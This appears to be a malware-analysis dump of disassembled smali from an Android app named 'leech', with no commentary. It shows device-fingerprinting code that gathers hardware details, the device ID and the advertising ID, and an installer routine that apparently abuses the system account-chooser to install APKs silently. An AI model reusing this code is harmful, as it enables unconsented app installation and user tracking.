                                                                              19invoke-virtual {v3, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              21iget-object v3, p0, Lcom/android/leech/main/ad/mini/request/BaseRequestParam;->mSysJson:Lorg/json/JSONObject;
                                                                              23const-string v4, "hardware"
                                                                              25sget-object v5, Landroid/os/Build;->HARDWARE:Ljava/lang/String;
                                                                              27invoke-virtual {v3, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              29iget-object v3, p0, Lcom/android/leech/main/ad/mini/request/BaseRequestParam;->mSysJson:Lorg/json/JSONObject;
                                                                              31const-string v4, "api_level"
                                                                              32sget v5, Landroid/os/Build$VERSION;->SDK_INT:I
                                                                              34invoke-virtual {v3, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                                                              36iget-object v3, p0, Lcom/android/leech/main/ad/mini/request/BaseRequestParam;->mSysJson:Lorg/json/JSONObject;
                                                                              38const-string v4, "cpu_abi"
                                                                              40sget-object v5, Landroid/os/Build;->CPU_ABI:Ljava/lang/String;
                                                                              42invoke-virtual {v3, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              44iget-object v3, p0, Lcom/android/leech/main/ad/mini/request/BaseRequestParam;->mSysJson:Lorg/json/JSONObject;
                                                                              46const-string v4, "fingerprint"
                                                                              48sget-object v5, Landroid/os/Build;->FINGERPRINT:Ljava/lang/String;
                                                                              50invoke-virtual {v3, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              52iget-object v3, p0, Lcom/android/leech/main/ad/mini/request/BaseRequestParam;->mSysJson:Lorg/json/JSONObject;
                                                                              54const-string v4, "kernel"
                                                                              56invoke-static {}, Lcom/android/leech/base/util/PhoneInfo;->getLinuxKernalInfoEx()Ljava/lang/String;
                                                                              57move-result-object v5
                                                                              59invoke-virtual {v3, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              61iget-object v3, p0, Lcom/android/leech/main/ad/mini/request/BaseRequestParam;->mSysJson:Lorg/json/JSONObject;
                                                                              63const-string v4, "sec_patch"
                                                                              65const-string v5, "ro.build.version.security_patch"
                                                                              67invoke-static {v0, v5}, Lcom/android/leech/base/util/SystemPropertiesProxy;->getString(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                                                                              68move-result-object v5
                                                                              70invoke-virtual {v3, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              72invoke-static {v0}, Lcom/android/leech/main/ad/mini/base/DisplayUtil;->getScreenMetrics(Landroid/content/Context;)Landroid/graphics/Point;
                                                                              73move-result-object v2
                                                                              75iget-object v3, p0, Lcom/android/leech/main/ad/mini/request/BaseRequestParam;->mSysJson:Lorg/json/JSONObject;
                                                                              77const-string v4, "scr_size"
                                                                              78new-instance v5, Ljava/lang/StringBuilder;
                                                                              80invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                                                                              81iget v6, v2, Landroid/graphics/Point;->x:I
                                                                              83invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                                              84move-result-object v5
                                                                              86const-string v6, "x"
                                                                              88invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              89move-result-object v5
                                                                              90iget v6, v2, Landroid/graphics/Point;->y:I
                                                                              92invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                                              93move-result-object v5
                                                                              95invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              96move-result-object v5
                                                                              98invoke-virtual {v3, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              100iget-object v3, p0, Lcom/android/leech/main/ad/mini/request/BaseRequestParam;->mSysJson:Lorg/json/JSONObject;
                                                                              102const-string v4, "mob_id"
                                                                              104invoke-static {v0}, Lcom/android/leech/base/util/PhoneInfo;->getDeviceId(Landroid/content/Context;)Ljava/lang/String;
                                                                              105move-result-object v5
                                                                              107invoke-virtual {v3, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              109iget-object v3, p0, Lcom/android/leech/main/ad/mini/request/BaseRequestParam;->mSysJson:Lorg/json/JSONObject;
                                                                              111const-string v4, "country"
                                                                              113invoke-static {v0}, Lcom/android/leech/base/util/Environment;->getCurrentLanguage(Landroid/content/Context;)Ljava/lang/String;
                                                                              114move-result-object v5
                                                                              116invoke-virtual {v3, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              118iget-object v3, p0, Lcom/android/leech/main/ad/mini/request/BaseRequestParam;->mSysJson:Lorg/json/JSONObject;
                                                                              120const-string v4, "network"
                                                                              122invoke-static {v0}, Lcom/android/leech/base/util/NetUtil;->getNetState(Landroid/content/Context;)I
                                                                              123move-result v5
                                                                              125invoke-virtual {v3, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                                                              127iget-object v3, p0, Lcom/android/leech/main/ad/mini/request/BaseRequestParam;->mSysJson:Lorg/json/JSONObject;
                                                                              129const-string v4, "gaid"
                                                                              131invoke-static {v0}, Lcom/android/leech/base/util/GaidUtils;->getGaid(Landroid/content/Context;)Ljava/lang/String;
                                                                              132move-result-object v5
                                                                              134invoke-virtual {v3, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              135try_end_a4: return-void
                                                                              136catch_a5: move-exception v1
                                                                              138invoke-virtual {v1}, Lorg/json/JSONException;->printStackTrace()V
                                                                              139goto/16 :goto_a4
                                                                              Cross References
                                                                              APIs
                                                                              • android.os.Build.BRAND:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • android.os.Build.MODEL:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • android.os.Build.HARDWARE:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • android.os.Build.CPU_ABI:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • android.os.Build.FINGERPRINT:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              Strings
                                                                              • brand
                                                                              • model
                                                                              • hardware
                                                                              • api_level
                                                                              • cpu_abi
                                                                              • fingerprint
                                                                              • kernel
                                                                              • sec_patch
                                                                              • ro.build.version.security_patch
                                                                              • scr_size
                                                                              • x
                                                                              • mob_id
                                                                              • country
                                                                              • network
                                                                              • gaid
                                                                              Position Instruction Meta Information
                                                                              0.prologue
                                                                              1try_start_0:
                                                                              2invoke-static {}, Lcom/android/leech/base/LeechGlobal;->getContext()Landroid/content/Context;
                                                                              3move-result-object v0
                                                                              5iget-object v2, p0, Lcom/android/leech/base/network/RequestParam;->mSysJson:Lorg/json/JSONObject;
                                                                              7const-string v3, "brand"
                                                                              9sget-object v4, Landroid/os/Build;->BRAND:Ljava/lang/String;
                                                                              11invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              13iget-object v2, p0, Lcom/android/leech/base/network/RequestParam;->mSysJson:Lorg/json/JSONObject;
                                                                              15const-string v3, "model"
                                                                              17sget-object v4, Landroid/os/Build;->MODEL:Ljava/lang/String;
                                                                              19invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              21iget-object v2, p0, Lcom/android/leech/base/network/RequestParam;->mSysJson:Lorg/json/JSONObject;
                                                                              23const-string v3, "hardware"
                                                                              25sget-object v4, Landroid/os/Build;->HARDWARE:Ljava/lang/String;
                                                                              27invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              29iget-object v2, p0, Lcom/android/leech/base/network/RequestParam;->mSysJson:Lorg/json/JSONObject;
                                                                              31const-string v3, "api_level"
                                                                              32sget v4, Landroid/os/Build$VERSION;->SDK_INT:I
                                                                              34invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                                                              36iget-object v2, p0, Lcom/android/leech/base/network/RequestParam;->mSysJson:Lorg/json/JSONObject;
                                                                              38const-string v3, "cpu_abi"
                                                                              40sget-object v4, Landroid/os/Build;->CPU_ABI:Ljava/lang/String;
                                                                              42invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              44iget-object v2, p0, Lcom/android/leech/base/network/RequestParam;->mSysJson:Lorg/json/JSONObject;
                                                                              46const-string v3, "fingerprint"
                                                                              48sget-object v4, Landroid/os/Build;->FINGERPRINT:Ljava/lang/String;
                                                                              50invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              52iget-object v2, p0, Lcom/android/leech/base/network/RequestParam;->mSysJson:Lorg/json/JSONObject;
                                                                              54const-string v3, "kernel"
                                                                              56invoke-static {}, Lcom/android/leech/base/util/PhoneInfo;->getLinuxKernalInfoEx()Ljava/lang/String;
                                                                              57move-result-object v4
                                                                              59invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              61iget-object v2, p0, Lcom/android/leech/base/network/RequestParam;->mSysJson:Lorg/json/JSONObject;
                                                                              63const-string v3, "sec_patch"
                                                                              65const-string v4, "ro.build.version.security_patch"
                                                                              67invoke-static {v0, v4}, Lcom/android/leech/base/util/SystemPropertiesProxy;->getString(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                                                                              68move-result-object v4
                                                                              70invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              72invoke-static {v0}, Lcom/android/leech/base/util/PhoneInfo;->getScreenMetrics(Landroid/content/Context;)Landroid/graphics/Point;
                                                                              73move-result-object v1
                                                                              75iget-object v2, p0, Lcom/android/leech/base/network/RequestParam;->mSysJson:Lorg/json/JSONObject;
                                                                              77const-string v3, "scr_size"
                                                                              78new-instance v4, Ljava/lang/StringBuilder;
                                                                              80invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                                                              81iget v5, v1, Landroid/graphics/Point;->x:I
                                                                              83invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                                              84move-result-object v4
                                                                              86const-string v5, "x"
                                                                              88invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              89move-result-object v4
                                                                              90iget v5, v1, Landroid/graphics/Point;->y:I
                                                                              92invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                                              93move-result-object v4
                                                                              95invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              96move-result-object v4
                                                                              98invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              100iget-object v2, p0, Lcom/android/leech/base/network/RequestParam;->mSysJson:Lorg/json/JSONObject;
                                                                              102const-string v3, "mob_id"
                                                                              104invoke-static {v0}, Lcom/android/leech/base/util/PhoneInfo;->getDeviceId(Landroid/content/Context;)Ljava/lang/String;
                                                                              105move-result-object v4
                                                                              107invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              109iget-object v2, p0, Lcom/android/leech/base/network/RequestParam;->mSysJson:Lorg/json/JSONObject;
                                                                              111const-string v3, "country"
                                                                              113invoke-static {v0}, Lcom/android/leech/base/util/Environment;->getCurrentLanguage(Landroid/content/Context;)Ljava/lang/String;
                                                                              114move-result-object v4
                                                                              116invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              118iget-object v2, p0, Lcom/android/leech/base/network/RequestParam;->mSysJson:Lorg/json/JSONObject;
                                                                              120const-string v3, "network"
                                                                              122invoke-static {v0}, Lcom/android/leech/base/util/NetUtil;->getNetState(Landroid/content/Context;)I
                                                                              123move-result v4
                                                                              125invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                                                              127iget-object v2, p0, Lcom/android/leech/base/network/RequestParam;->mSysJson:Lorg/json/JSONObject;
                                                                              129const-string v3, "gaid"
                                                                              131invoke-static {v0}, Lcom/android/leech/base/util/GaidUtils;->getGaid(Landroid/content/Context;)Ljava/lang/String;
                                                                              132move-result-object v4
                                                                              134invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              135try_end_a4: return-void
                                                                              136catch_a5: move-exception v2
                                                                              137goto/16 :goto_a4
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Intent.<init>
                                                                              • android.content.Intent.addFlags
                                                                              • android.content.Intent.addFlags
                                                                              • android.content.Intent.addFlags
                                                                              • android.os.Bundle.<init>
                                                                              • android.os.Bundle.putString
                                                                              • android.text.TextUtils.isEmpty
                                                                              • android.os.Bundle.putString
                                                                              • android.os.Bundle.putString
                                                                              • android.os.Bundle.putString
                                                                              • android.text.TextUtils.isEmpty
                                                                              • java.lang.StringBuilder.<init>
                                                                              • android.content.Context.getPackageName
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.content.Intent.setClassName
                                                                              • android.content.Intent.putExtra
                                                                              • android.content.Intent.putExtra
                                                                              • android.content.Context.startActivity
                                                                              • android.os.Bundle.putString
                                                                              Strings
                                                                              • apk_path
                                                                              • fake_name
                                                                              • bundle_type
                                                                              • type_install
                                                                              • inflect_pkg
                                                                              • com.android.google.coreappx.account100
                                                                              • CORE_ACCOUNT
                                                                              • .account100
                                                                              • android
                                                                              • android.accounts.ChooseTypeAndAccountActivity
                                                                              • allowableAccountTypes
                                                                              • addAccountOptions
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "context" # Landroid/content/Context;
                                                                              1.param p1, "apkPath" # Ljava/lang/String;
                                                                              2.param p2, "fakePkg" # Ljava/lang/String;
                                                                              3.param p3, "inflectPkg" # Ljava/lang/String;
                                                                              4.prologue
                                                                              5const-class v5, Lcom/android/leech/main/installer/impl/ReParcelMain;
                                                                              6monitor-enter v5
                                                                              7try_start_3: new-instance v3, Landroid/content/Intent;
                                                                              9invoke-direct {v3}, Landroid/content/Intent;-><init>()V
                                                                              10const/high16 v4, 0x10000000
                                                                              12invoke-virtual {v3, v4}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
                                                                              13const/high16 v4, 0x40000000 # 2.0f
                                                                              15invoke-virtual {v3, v4}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
                                                                              16const/high16 v4, 0x40000
                                                                              18invoke-virtual {v3, v4}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
                                                                              19new-instance v2, Landroid/os/Bundle;
                                                                              21invoke-direct {v2}, Landroid/os/Bundle;-><init>()V
                                                                              23const-string v4, "apk_path"
                                                                              25invoke-virtual {v2, v4, p1}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                                                              27invoke-static {p2}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              28move-result v4
                                                                              29if-nez v4, :cond_7c
                                                                              31const-string v4, "fake_name"
                                                                              33invoke-virtual {v2, v4, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                                                              34goto_2c:
                                                                              35const-string v4, "bundle_type"
                                                                              37const-string v6, "type_install"
                                                                              39invoke-virtual {v2, v4, v6}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                                                              41const-string v4, "inflect_pkg"
                                                                              43invoke-virtual {v2, v4, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                                                              45const-string v1, "com.android.google.coreappx.account100"
                                                                              47const-string v4, "CORE_ACCOUNT"
                                                                              49invoke-static {p0, v4}, Lcom/android/leech/base/util/ApkInfos;->getAppMetaData(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                                                                              50move-result-object v0
                                                                              52invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              53move-result v4
                                                                              54if-nez v4, :cond_5d
                                                                              55new-instance v4, Ljava/lang/StringBuilder;
                                                                              57invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                                                              59invoke-virtual {p0}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                                                                              60move-result-object v6
                                                                              62invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              63move-result-object v4
                                                                              65const-string v6, ".account100"
                                                                              67invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              68move-result-object v4
                                                                              70invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              71move-result-object v1
                                                                              72cond_5d:
                                                                              73const-string v4, "android"
                                                                              75const-string v6, "android.accounts.ChooseTypeAndAccountActivity"
                                                                              77invoke-virtual {v3, v4, v6}, Landroid/content/Intent;->setClassName(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
                                                                              78move-result-object v4
                                                                              80const-string v6, "allowableAccountTypes"
                                                                              81const/4 v7, 0x1
                                                                              82new-array v7, v7, [Ljava/lang/String;
                                                                              83const/4 v8, 0x0
                                                                              84aput-object v1, v7, v8
                                                                              86invoke-virtual {v4, v6, v7}, Landroid/content/Intent;->putExtra(Ljava/lang/String;[Ljava/lang/String;)Landroid/content/Intent;
                                                                              87move-result-object v4
                                                                              89const-string v6, "addAccountOptions"
                                                                              91invoke-virtual {v4, v6, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Bundle;)Landroid/content/Intent;
                                                                              92move-result-object v4
                                                                              94invoke-virtual {p0, v4}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
                                                                              95try_end_7a: monitor-exit v5
                                                                              96return-void
                                                                              97cond_7c:
                                                                              98const-string v4, "fake_name"
                                                                              100invoke-static {}, Lcom/android/leech/main/installer/impl/ReParcelMain;->getFakePackage()Ljava/lang/String;
                                                                              101move-result-object v6
                                                                              103invoke-virtual {v2, v4, v6}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                                                              104try_end_85: goto/16 :goto_2c
                                                                              105catchall_86: move-exception v4
                                                                              106monitor-exit v5
                                                                              107throw v4
                                                                              APIs
                                                                              • java.io.FileReader.<init>
                                                                              • java.io.BufferedReader.<init>
                                                                              • java.io.BufferedReader.readLine
                                                                              • java.io.BufferedReader.close
                                                                              • java.io.FileReader.close
                                                                              • java.lang.String.indexOf
                                                                              • java.lang.String.substring
                                                                              • java.lang.String.trim
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.util.Log.e
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.util.Log.e
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.util.Log.e
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.util.Log.e
                                                                              Strings
                                                                              • /proc/cpuinfo
                                                                              • UMUtils
                                                                              • Could not read from file /proc/cpuinfo, e is
                                                                              • get cpu e is
                                                                              Position Instruction Meta Information
                                                                              0const/4 v0, 0x0
                                                                              1try_start_1: new-instance v1, Ljava/io/FileReader;
                                                                              3const-string v2, "/proc/cpuinfo"
                                                                              5invoke-direct {v1, v2}, Ljava/io/FileReader;-><init>(Ljava/lang/String;)V
                                                                              6try_end_8: if-eqz v1, :cond_1b
                                                                              7try_start_a: new-instance v2, Ljava/io/BufferedReader;
                                                                              8const/16 v3, 0x400
                                                                              10invoke-direct {v2, v1, v3}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;I)V
                                                                              12invoke-virtual {v2}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                                                                              13try_end_14: move-result-object v0
                                                                              14try_start_15:
                                                                              15invoke-virtual {v2}, Ljava/io/BufferedReader;->close()V
                                                                              17invoke-virtual {v1}, Ljava/io/FileReader;->close()V
                                                                              18cond_1b: move-object v1, v0
                                                                              19cond_1c: if-eqz v1, :cond_8e
                                                                              20const/16 v0, 0x3a
                                                                              21try_start_20:
                                                                              22invoke-virtual {v1, v0}, Ljava/lang/String;->indexOf(I)I
                                                                              23move-result v0
                                                                              24add-int/lit8 v0, v0, 0x1
                                                                              26invoke-virtual {v1, v0}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                                                                              27move-result-object v0
                                                                              29invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
                                                                              30try_end_2d: move-result-object v0
                                                                              31goto_2e: return-object v0
                                                                              32catch_2f: move-exception v1
                                                                              33try_start_30: sget-boolean v2, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              34if-eqz v2, :cond_1b
                                                                              36const-string v2, "UMUtils"
                                                                              37new-instance v3, Ljava/lang/StringBuilder;
                                                                              39invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                                              41const-string v4, "Could not read from file /proc/cpuinfo, e is "
                                                                              43invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              44move-result-object v3
                                                                              46invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                                              47move-result-object v1
                                                                              49invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              50move-result-object v1
                                                                              52invoke-static {v2, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                                                              53try_end_4c: goto/16 :goto_1b
                                                                              54catch_4d: move-exception v1
                                                                              55move-object v5, v1
                                                                              56move-object v1, v0
                                                                              57move-object v0, v5
                                                                              58try_start_51: sget-boolean v2, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              59if-eqz v2, :cond_1c
                                                                              61const-string v2, "UMUtils"
                                                                              62new-instance v3, Ljava/lang/StringBuilder;
                                                                              64invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                                              66const-string v4, "Could not read from file /proc/cpuinfo, e is "
                                                                              68invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              69move-result-object v3
                                                                              71invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                                              72move-result-object v0
                                                                              74invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              75move-result-object v0
                                                                              77invoke-static {v2, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                                                              78try_end_6d: goto/16 :goto_1c
                                                                              79catch_6e: move-exception v0
                                                                              80sget-boolean v1, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              81if-eqz v1, :cond_8b
                                                                              83const-string v1, "UMUtils"
                                                                              84new-instance v2, Ljava/lang/StringBuilder;
                                                                              86invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                                              88const-string v3, "get cpu e is "
                                                                              90invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              91move-result-object v2
                                                                              93invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                                              94move-result-object v0
                                                                              96invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              97move-result-object v0
                                                                              99invoke-static {v1, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                                                              100cond_8b:
                                                                              101const-string v0, ""
                                                                              102goto/16 :goto_2e
                                                                              103cond_8e:
                                                                              104const-string v0, ""
                                                                              105goto/16 :goto_2e
                                                                              106catch_91: move-exception v0
                                                                              107sget-boolean v1, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              108if-eqz v1, :cond_ae
                                                                              110const-string v1, "UMUtils"
                                                                              111new-instance v2, Ljava/lang/StringBuilder;
                                                                              113invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                                              115const-string v3, "get cpu e is "
                                                                              117invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              118move-result-object v2
                                                                              120invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                                              121move-result-object v0
                                                                              123invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              124move-result-object v0
                                                                              126invoke-static {v1, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                                                              127cond_ae:
                                                                              128const-string v0, ""
                                                                              129goto/16 :goto_2e
                                                                              130catch_b2: move-exception v1
                                                                              131move-object v5, v1
                                                                              132move-object v1, v0
                                                                              133move-object v0, v5
                                                                              134goto/16 :goto_51
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • android.net.ConnectivityManager.getActiveNetworkInfo
                                                                              • android.net.NetworkInfo.getType
                                                                              • android.net.NetworkInfo.getType
                                                                              • android.content.Context.getSystemService
                                                                              • android.telephony.TelephonyManager.getNetworkType
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              Strings
                                                                              • unknown
                                                                              • connectivity
                                                                              • WIFI
                                                                              • phone
                                                                              • MOBILE(
                                                                              • )
                                                                              • GPRS
                                                                              • EDGE
                                                                              • UMTS
                                                                              • CDMA
                                                                              • EVDO_0
                                                                              • EVDO_A
                                                                              • 1xRTT
                                                                              • HSDPA
                                                                              • HSUPA
                                                                              • HSPA
                                                                              • iDen
                                                                              • EVDO_B
                                                                              • LTE
                                                                              • eHRPD
                                                                              • HSPA+
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "context" # Landroid/content/Context;
                                                                              1.prologue
                                                                              3const-string v0, "unknown"
                                                                              4try_start_2:
                                                                              5const-string v6, "connectivity"
                                                                              7invoke-virtual {p0, v6}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              8move-result-object v1
                                                                              9check-cast v1, Landroid/net/ConnectivityManager;
                                                                              11invoke-virtual {v1}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
                                                                              12move-result-object v2
                                                                              13if-nez v2, :cond_13
                                                                              15const-string v6, "WIFI"
                                                                              16goto_12: return-object v6
                                                                              17cond_13:
                                                                              18invoke-virtual {v2}, Landroid/net/NetworkInfo;->getType()I
                                                                              19move-result v6
                                                                              20const/4 v7, 0x1
                                                                              21if-ne v6, v7, :cond_1e
                                                                              23const-string v0, "WIFI"
                                                                              24cond_1c: move-object v6, v0
                                                                              25goto/16 :goto_12
                                                                              26cond_1e:
                                                                              27invoke-virtual {v2}, Landroid/net/NetworkInfo;->getType()I
                                                                              28move-result v6
                                                                              29if-nez v6, :cond_1c
                                                                              31const-string v6, "phone"
                                                                              33invoke-virtual {p0, v6}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              34move-result-object v3
                                                                              35check-cast v3, Landroid/telephony/TelephonyManager;
